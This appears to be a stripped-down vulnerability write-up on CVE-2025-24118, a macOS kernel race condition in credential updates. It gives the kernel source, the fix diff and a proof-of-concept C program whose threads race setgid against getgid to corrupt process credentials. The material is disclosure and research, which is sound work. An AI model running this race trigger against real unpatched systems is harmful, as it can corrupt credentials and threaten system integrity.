CVE-2025-24118：macOS 中的竞争条件漏洞可导致任意凭证获取

ENTRY(memcpy)
  movq %rdi, %rax /* return destination */
  movq %rdx, %rcx
  cld /* copy forwards */
  rep movsb
  ret

zalloc_ro_mut→ pmap_ro_zone_memcpy→ memcpy→rep movsb

struct ucred {
  struct ucred_rw        *cr_rw;
  void                   *cr_unused;
  u_long cr_ref; /* reference count */

  struct posix_cred {
    /*
     * The credential hash depends on everything from this point on
     * (see kauth_cred_get_hashkey)
     */
    uid_t   cr_uid; /* effective user id */
    uid_t   cr_ruid; /* real user id */
    uid_t   cr_svuid; /* saved user id */
    u_short cr_ngroups; /* number of groups in advisory list */
    u_short __cr_padding;
    gid_t   cr_groups[NGROUPS];/* advisory group list */
    gid_t   cr_rgid; /* real group id */
    gid_t   cr_svgid; /* saved group id */
    uid_t   cr_gmuid; /* UID for group membership purposes */
    int     cr_flags; /* flags on credential */
  } cr_posix;
...
};

bool
kauth_cred_proc_update(
  proc_t                  p,
  proc_settoken_t         action,
  kauth_cred_derive_t     derive_fn)
{
  kauth_cred_t cur_cred, free_cred, new_cred;

  cur_cred = kauth_cred_proc_ref(p);

  for (;;) {
    new_cred = kauth_cred_derive(cur_cred, derive_fn);
    if (new_cred == cur_cred) {
      ...
      kauth_cred_unref(&new_cred);
      kauth_cred_unref(&cur_cred);
      return false;
    }

    proc_ucred_lock(p);
    if (__probable(proc_ucred_locked(p) == cur_cred)) {
      kauth_cred_ref(new_cred);
      kauth_cred_hold(new_cred);

      // This is the bug:
      zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),
          offsetof(struct proc_ro, p_ucred),
          &new_cred, sizeof(struct ucred *));

      kauth_cred_drop(cur_cred);
      ucred_rw_unref_live(cur_cred->cr_rw);

      proc_update_creds_onproc(p, new_cred);
      proc_ucred_unlock(p);

      ...
      kauth_cred_unref(&new_cred);
      kauth_cred_unref(&cur_cred);
      return true;
    }
    ...
  }
}

// Joseph Ravichandran (@0xjprx)
// PoC for CVE-2025-24118.
// Writeup: https://jprx.io/cve-2025-24118
...

gid_t rg; // real gid
gid_t eg; // effective gid

void *toggle_cred(void *_unused_) {
    while(true) { // [1]
        setgid(rg);
        setgid(eg);
    }

    return NULL;
}

void *reference_cred(void *_unused_) {
    // [2]
    volatile gid_t tmp;
    while(true) tmp = getgid();
    
    return NULL;
}

int main(int argc, char **argv) {
    pthread_t pool[2 * NUM_THREADS];
    rg = getgid();
    eg = getegid();

    if (rg == eg) {
        fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_updaten", rg);
        exit(1);
    }

    printf("Starting %d thread pairsn", NUM_THREADS);
    printf("rgid: %dnegid: %dn", rg, eg);
    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL);
        pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL);
    }

    for (int i = 0; i < NUM_THREADS; i++) {
        pthread_join(pool[(2*i)+0], NULL);
        pthread_join(pool[(2*i)+1], NULL);
    }

    printf("Donen");
    return 0;
}

@@ -3947,9 +3947,9 @@ kauth_cred_proc_update(
            kauth_cred_ref(new_cred);
            kauth_cred_hold(new_cred);

- zalloc_ro_mut(ZONE_ID_PROC_RO, proc_get_ro(p),
+ zalloc_ro_mut_atomic(ZONE_ID_PROC_RO, proc_get_ro(p),
                offsetof(struct proc_ro, p_ucred),
- &new_cred, sizeof(struct ucred *));
+ ZRO_ATOMIC_XCHG_LONG, (uint64_t)new_cred);

            kauth_cred_drop(cur_cred);
            ucred_rw_unref_live(cur_cred->cr_rw);